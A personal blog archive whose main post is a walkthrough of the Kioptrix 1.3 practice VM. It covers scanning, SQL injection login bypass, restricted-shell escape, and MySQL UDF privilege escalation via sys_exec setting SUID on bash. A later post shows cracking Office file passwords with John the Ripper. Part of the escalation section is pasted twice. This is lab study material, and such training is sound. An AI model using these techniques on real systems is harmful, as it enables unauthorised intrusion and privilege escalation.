Tag: #wordpress

Posted on

Kioptrix Level 1.3 (VM #4) Walkthrough

In my efforts to self-study in preparation for the OSCP certification later this year, I’ve been going through some of the intentionally vulnerable Virtual Machines (VMs) on vulnhub.com to sharpen and broaden my penetration testing and hacking skills. Among others I’ve completed, the Kioptrix series of VMs is allegedly similar to what you see in the actual OSCP test, so I’ve been going through them in order.

Part of completing the OSCP is providing a write-up of your hacking adventures to explain how and what you did to hack a server, so I figured I better start now. Other folks do similar write-ups on the VMs on vulnub.com, and I’ll see if they will add this to Kioptrix 1.3 page soon.

Hopefully, someone will find this useful either way.

It should be noted that this VM was known to have at least two possible paths to getting root on the system, and this writeup outline just one.

Discovery

On my local network, this VM turned up with the IP address of 192.168.0.110.

nmap

Running an nmap scan revealed some open ports and running services:

root@kali:~# nmap -v -sS -A -T4PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)| ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)| http-methods: |_ Supported Methods: GET HEAD POST OPTIONS|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch|_http-title: Site doesn't have a title (text/html).139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)Running: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33

Poking Around

Checking things out by hand based on the nmap scan results, I found there was a login page running on port 80 at http://192.168.0.110

No basic SQL injection working from any initial attempts.

Nothing in the source code of note. Some other basic manual fuzzing and poking around didn’t reveal much either.

Nikto

Nikto turned up some basic stuff about Apache that I thought might be worth looking into later:

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

dirb and dirsearch

A basic dirb scan turned up a directory:
http://192.168.0.110/john/

I though that could be a username. Running dirb with a bigger wordlist (big.txt in Kali) turned up another one:
http://192.168.0.110/robert/

Both of those directories contained a file (robert.php and john.php) that, when clicked, would just redirect you back to the main login page.

I also ran DIRSEARCH, a python tool that also works well for finding directories and files.
found file: database.sql

(Note: Dirsearch is not included in Kali by default. Requires you to setup Python 3 in a virtual environment to run it.)

enum4linux

Since ports 139 and 445 were being used, I went on try enum4linux

root@kali:~# enum4linux -a 192.168.0.110Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb 9 00:40:35 2017(Pasting only the relevant stuff here.) ===================================================== | Enumerating Workgroup/Domain on 192.168.0.110 | ===================================================== [+] Got domain/workgroup name: WORKGROUP============================================= | Nbtstat Information for 192.168.0.110 | ============================================= Looking up status of 192.168.0.110 KIOPTRIX4 <00> - B <ACTIVE> Workstation Service KIOPTRIX4 <03> - B <ACTIVE> Messenger Service KIOPTRIX4 <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup NameMAC Address = 00-00-00-00-00-00============================== | Users on 192.168.0.110 | ============================== index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null)index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)index: 0x4 RID: 0xbba acb: 0x00000010 Account: john Name: ,,, Desc: (null)index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null)user:[nobody] rid:[0x1f5]user:[robert] rid:[0xbbc]user:[root] rid:[0x3e8]user:[john] rid:[0xbba]user:[loneferret] rid:[0xbb8]========================================== | Share Enumeration on 192.168.0.110 | ========================================== WARNING: The "syslog" option is deprecatedDomain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))Server Comment --------- ------- KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu)Workgroup Master --------- ------- WORKGROUP KIOPTRIX4[+] Attempting to map shares on 192.168.0.110//192.168.0.110/print$ Mapping: DENIED, Listing: N/A//192.168.0.110/IPC$ [E] Can't understand response:WARNING: The "syslog" option is deprecatedDomain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]NT_STATUS_NETWORK_ACCESS_DENIED listing \*===================================================== | Password Policy Information for 192.168.0.110 | ===================================================== [E] Unexpected error from polenum:Traceback (most recent call last): File "/usr/bin/polenum", line 33, in <module> from impacket.dcerpc import dcerpc_v4, dcerpc, transport, samrImportError: cannot import name dcerpc_v4[+] Retieved partial password policy with rpcclient:Password Complexity: DisabledMinimum Password Length: 0S-1-22-1-1000 Unix User\loneferret (Local User)S-1-22-1-1001 Unix User\john (Local User)S-1-22-1-1002 Unix User\robert (Local User)enum4linux complete on Thu Feb 9 00:40:51 2017

acccheck

I ran acccheck on the ‘robert’ user with the big.txt pw list, to no avail. Can circle back to try the other usernames if needed.

THC Hydra

You can use Hydra to brute force FTP, SSH, POP3, and SMTP account. Let’s try Hydra with those usernames to find SSH accounts! Trying the usernames found via acccheck with SSH logins:

robert
root
loneferret
john

hydra -L users -P 10_million_password_list_top_100000.txt -t 4 192.168.0.110 ssh -vv

Nothing turned up! Bummer.

database.sql

This was found during discover with dirsearch, and it appears to be a short MySQL dump file. Since other avenues were turning out to be fruitless, I thought I’d give this a closer look.

Immediately, the first thing to note is that there’s a username and password shown in the dump file.

john
1234

Let’s try it on the HTML login form at http://192.168.0.110/index.php?. No luck!
I thought maybe that was a default password, so I tested it on the other known users as well (robert, root, loneferret), but still no luck.

Perhaps it’d work with SSH or SMB?
Negatory

The file at least led me to believe MySQL was in place, so perhaps some more SQLi exploration would help.

After a number of failed attempts and errors by trying various SQL injection strings, using this worked:

Username: johnPassword: ' OR 1=1 #

That took me to the User Admin Panel and showed the actual password.

That seemed kinda easy. But this is when things got hard, actually.

I logged out and confirmed that the password worked. It logged me back into that same page. But what good is that? Let’s try SSH again!

Shell obtained. However, the shell seemed to be extremely limited. As instructed at login, typing ? or ‘help’ gets you a list of allowed commands:

I was warned about trying to cd into the root directory, and getting kicked out if I tried again.

lpath is the same as pwd.

The only available command that looks somewhat useful is echo. Let’s see if we can echo the contents of .profile


Uh oh. It really did kick me out! Luckily, all I had to do was reconnect via SSH. Let’s try a different file:

Bummer. How about getting around now that we know it is possible to simply re-log via SSH if you get kicked out? No luck.

Must break out of the restricted “LigGoat” shell. To the Google!

Searching for “escape restricted shell echo” I found a handy article:
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

Trying a number of things, I finally found the right trick, which is to use Python to switch shells:

echo os.system("/bin/bash")

That was weird, but it worked, and I got a less restricted shell. This website was of much help to find the specific command needed: http://netsec.ws/?p=337

Finally, a useful shell. Well, more useful. It still seems to be a basic user account with no real privileges. So where to next? MySQL exists and can be leveraged to take over a box under the right circumstances, so before exploring other vectors, I decided to start with it.

MySQL

Revisiting the web directory and the application running on the website, I found a handy SQL statement in checklogin.php. This statement had the mysql connection string, including the username and password, which were simply:

user: root
pass: (empty)

That suggested the root password was never changed when MySQL was installed, so this was probably a default installation with few tweaks or security enhancements. Sure enough, I was able to log in:

Things got off track for a while here, as I wasn’t really sure what to do from this point. However, this Google search helped me:

mysql root pwn server

That led me to a Facebook post, of all things:

https://www.facebook.com/notes/security-training-share/mysql-root-to-system-root-with-lib_mysqludf_sys-for-windows-and-linux/865458806817957/

It described the situation perfectly:

“We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often.”

The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn’t need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script (which I was unable to do as user ‘john’ anyway.

Where that article has this line:

select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');

Just do this instead:

select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:

bash -p

It should drop you into a root shell!

cd /rootcat congrats.txtIt described the situation perfectly:"We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often."The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn't need to grab it from sqlmap and upload it to the system.Modifying those instructions a little, there was no need to compile a c script that changes users.Instead of this line:select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');Just do this:select sys_exec('chmod u+s /bin/bash');Then drop out of MySQL and run this:	Ø bash -pIt should drop you into a root shell!cd /rootcat congrats.txt

Root obtained. Mission complete!

 

Posted on

Decluttering

declutter photoWith the start of a new year about to happen, I’ve been doing a lot of reflection on where I’ve been focusing my attention, and what I’ve been getting out of those things. My conclusions led me to discover that I have been putting a lot of time and energy into things that don’t necessarily help me, my family, and everything surrounding those primary things (career, creativity, cashflow, etc).

So, I have decided to give up the following:

  • Caring about sports. I may watch some bigger Louisville basketball games, but overall, this has become more of a chore than anything, and I spend way too much time wrapped up in the emotions surrounding games. This is particularly unproductive when they lose.
  • Facebook. I’ve given it up before, but it serves absolutely no purpose for me. If people want to keep in touch, they know how to find me.
  • Clash of Clans. I’ve led a very successful clan for almost 2 years, and been a part of the game for almost 3. I helped start the Reddit Alliance Clans system, and all of this has been a large time sink. I did have a lot of fun, and I met a lot of great people along the way, but ultimately, it’s been entirely unproductive towards helping any of the primary things in life I mentioned above.
  • Reddit. One thing I’ve noticed is that by deleting apps off my phone, I waste a lot less time. So I am removing the Reddit app that I use, and will instead only check in on occasion when at my computer, at home. I tend to get wrapped up in drawn-out conversations (or arguments) on Reddit far too often. While some of these interactions can have positive outcomes (discussing network security, for example), most of the time I am arguing with people who will never change their minds. Why? I have no idea.

I hope to start using all the freed up time and energy (in no particular order) towards continuing my newfound interest in working out, continuing to educate myself, investing more time and energy with my family, making more music, and focusing on the things that support all of the above — the primary things in life.

I will report back more in a few months to let you know how it all goes!

Photo by ollesvensson

Posted on

Let’s Revisit: Sending Mass Emails The Right Way

envelopes photoThe concept of sending an email to multiple people the right way seems to have eluded the populace as a whole lately. I’m looking at you, schoolteachers, soccer coaches, and party invitation senders. I write to you today because, in recent months, it seems I’ve been included on more and more emails where I’m one of 50 people whose email address is awkwardly stuffed into the CC: field of the email you sent, right there with all the others for everyone in the list to see. I even got an email from the manager of the local Sears store I had recently purchased an appliance from, that got sent to all the people who had bought something there recently, and everyone’s name and address were easily viewable in the CC field.

The problem here is that you are being inconsiderate towards peoples’ privacy, and you are sending around a large list of real email addresses to possibly be harvested by spammers.

There is a way to do this that protects peoples’ privacy, doesn’t annoy the nerds and geeks in your email list, and makes you look like you know what you are doing. What trifecta could be better than that?

The easiest way to do this is by using the BCC: field instead of the CC: field. BCC stands for “Blind carbon copy,” which means that any email address entered in it will not show up to the recipients of the email. The CC: field does show them, so don’t use it.

The trick is that you should enter your own email address in the To: field of the email, then enter the long list of room parents or party invitees in the BCC field. That’s it! Now you too can look cool.

There are some detailed instructions, with pictures, available here, in case you need more info.

Posted on

Writing for Listverse is a Waste of Your Time

Listverse is often a recommended website for people who wish to make a little extra cash. They make it sound like it is fun and easy to “Write & Get Paid.”

I’m here to urge you not to waste your time. You will be better off writing for real website owners who post projects on Textbroker or any of the other writers’ platforms out there.

The Listverse deal seems rather straightforward at first: come up with a list of things that are quirky and unique, write at least 1200 words about them, cite your sources, then submit them for review. If approved, they send you $100 via Paypal. I thought this sounded like a fun way to make $100 by writing about topics I know and am interested in.

One thing you have to do before writing a list is to make sure they don’t already have a list about the topic you want to write about. Searching their site for existing lists is futile, as their Search feature doesn’t seem to work at all. See the example below, where I searched for a list about vampires that is shown on their home page, and even it doesn’t come up in a search result:

search_-_listverse

This leaves you with having to use Google to query the Listverse site in an attempt to make sure you don’t waste your time writing a list that is already there:

listverse_vampires_-_google_search

Once you think you have a good idea for a list topic, it’s a good idea to read about the Listverse guidelines on what they expect and what the rules of engagement are. Here is how they summarize it:

It works like this: You write your list (10 items per list minimum), you send it in, we reply and say “Great—we’ll publish it” and send you $100 by PayPal (don’t have an account? just make one—it’s easy and free); or we reply and say “Sorry—it isn’t the sort of thing our readers will love—give it another shot.” Just remember, your list should be at least one or two paragraphs per entry.

There is also a more detailed Author Guide that gets into writing style and some more about the rules and what they expect.

The other major caveat is not to write about something in their short list of topics that they are currently not taking submissions for, which are sports, self-help, personal stories, and gaming.

Sounds pretty easy, right?

I dove in and spent about two hours researching topics, writing up a list, proofing it, finding sources for it, then attempting to submit it. Their submission page says, “We only consider submissions with the highest standard of English and submissions should not exceed 1,500 words.”

No problem. I love writing and have what I consider a good mastery of the English language. My article was about 1000 words, so I thought it was ready to go.

First Problem

Only at this point do you learn that lists must be at least 1500 words. Wait…what? Above, on the Submission page, it says that the article “should not exceed 1500 words”. But if you click Submit List, and your article isn’t long enough, you see this:

extra_listverse_com_submit_submit_php

They don’t tell you this anywhere on the submission page until you click the Submit button. And this situation makes it seem like you are set up for failure from the start. So, in one place it says no more than 1500 words, then you are scolded about not having at least 1500 words when you try to submit. What to do?

I went back and added more meat to my list, getting it to the minimum length required, and was finally allowed to proceed. The resulting page and the resulting confirmation email I got told me that it would be up to two weeks before hearing from them. Apparently they read every entry they get, and it is time consuming. I am a patient man, so I was OK with this.

Problem Two: Rejection

I got the rejection letter this morning. I understand not getting accepted for legitimate reasons; it was more about the issues surrounding it that led me to writing this lengthy blog post.

First, the rejection letter itself was not the “highest standard of English,” which was amusing more than anything, but I thought I’d point it out. For example, it said this:

“We regret that your list is just not quite what we are looking for right now; this is usually because your subject matter is outside the scope of the direction in which we are taking Listverse.”

Taking Listverse? Ok, whatever. Moving along…

Second, they go on to list out some of the same caveats about submitting a list, but only this time is it in more detail than before you actually write your list:

We are currently not taking any lists from the following categories: self-help, opinion, product rankings or reviews, money making guides, personal experience stories, health advice, gaming, sports, music, TV, movies, and animals.

My list was not in any of those categories, but I did stop to think that many of these had not been mentioned up front, and I’d have been pissed if I had spent a lot of time on a list about animals, for example.

They went on to list some “technical” reasons for rejection:

1. The list is too short, too long, or does not have ten items
2. The list requires too much editing (poor English or lack of proofing is usually the reason)
3. The topic is already covered on Listverse or the Internet in general
4. The topic is simply not in keeping with the style of content we publish

Regarding 1, I had exactly 10 items on my list. Was I rejected because the list was over 1500 words long, even though I was unable to submit a list unless it was 1500 words long? That seems stupid.

I knew my rejection wasn’t due to numbers 2, 3, or 4, as I had researched everything, proofed it all, and come up with something rather unique to write about, and made it appealing to the type of audience they cater to.

The Final Knockdown: It’s an odds game

Being rather bewildered at the reasons for rejection not lining up with my article, and still not understanding why my submission was not taken, I carefully re-read the rejection email and I found this sentence in the middle:

We receive more than 150 submissions each day and can only choose three for publication.

Only now, after spending all this time writing a list, researching it, proofing it, and waiting on the outcome, did they choose to mention that 3 per day is the limit. The odds sure would have been helpful to know up front, way before any of this ever happened.

But then, why would anyone ever choose to write a list and submit it if they knew the odds, right?

I will not be wasting any more of my time on Listverse, and I urge you not to, either!

Note: I will publish my list here soon. Since they rejected it, I retained rights to it 🙂

Posted on

WordPress Security from WordCamp Asheville 2016

One of the coolest things about WordCamp is that they post videos of each talk and presentation on WordPress.tv for viewing afterwards. It give you the chance to see all the great presentations you may have missed, or to revisit the ones you attended.

With so many WordCamps happening all over the world, it is a great resource.

My presentation from WordCamp Asheville 2016, titled WordPress Security: Don’t Be a Target, is now live on WordPress.tv.

Posted on

The NSA Hacks System Administrators

This article reveals that the people holding the keys are often the juiciest targets, regardless of their innocence, as they are a means to and end. However, perhaps the most interesting part of the article, Inside the NSA’s Secret Efforts to Hunt and Hack System Administrators, is this:

Once the agency believes it has identified a sys admin’s personal accounts, according to the posts, it can target them with its so-called QUANTUM hacking techniques. The Snowden files reveal that the QUANTUM methods have been used to secretly inject surveillance malware into a Facebook page by sending malicious NSA data packets that appear to originate from a genuine Facebook server. This method tricks a target’s computer into accepting the malicious packets, allowing the NSA to infect the targeted computer with a malware “implant” and gain unfettered access to the data stored on its hard drive.

Looks like I chose a good week to cancel my Facebook account 😉

Posted on

Cracking Password-Protected MS Office Files

Disclaimer: Don’t do this unless it’s for legitimate reasons, such as the one outlined below.

At work, I recently came across the need to crack a handful of MS Office files that someone had password protected. Of course, that person was no longer around, so the person who took over needed to figure out how to access these documents, and they asked the Security team for help.

My first instinct turned out to be the correct one: use John the Ripper on Kali 2.

The main issue I faced was extracting the password hash from the Office docs in question so that John The Ripper could have something to run against. Turns out there is a handy python script you can use that does exactly this: office2john.py (https://github.com/kholia/RC4-40-brute-office)

Instructions

Download office2john.py, then make it executable.

# chmod a+x offce2john.py

Now you can use this tool to extract the hash from the Office document, and save it to a text file:

# ./office2john.py secret-company-secrets.docx > hash.txt

Now check out the contents of the hash file if you want:

# cat hash.txt

All you need at this point is a good password list to run through John the Ripper, and a few options to run it with. The sqlmap.txt file that comes with Kali2 is a good candidate:

/usr/share/wordlists/sqlmap.txt

Here’s the full command:

# john --session=docx --rules --wordlist=/usr/share/wordlists/sqlmap.txt hash.txt

Options:
–session=docx – This is the name of this session. Could be anything, really.
–rules – Enables word mangling on the defined wordlist
–wordlist – Path to the word list you are running this against

Now, sit back and wait for John to do its thing.

PDFs

Just use pdfcrack in Kali.

Posted on

Have you been pwned?

This website has come in handy a couple of times recently. I was made aware that my username and password were found in lists of those stolen from hacked websites, including Dropbox and LinkedIn. Of course, I had long since changed my passwords, but it’s still interesting to see this happen, and it could one day really save me. I suggest you sign up!

https://haveibeenpwned.com/

Have_I_been_pwned__Check_if_your_email_has_been_compromised_in_a_data_breach

clicky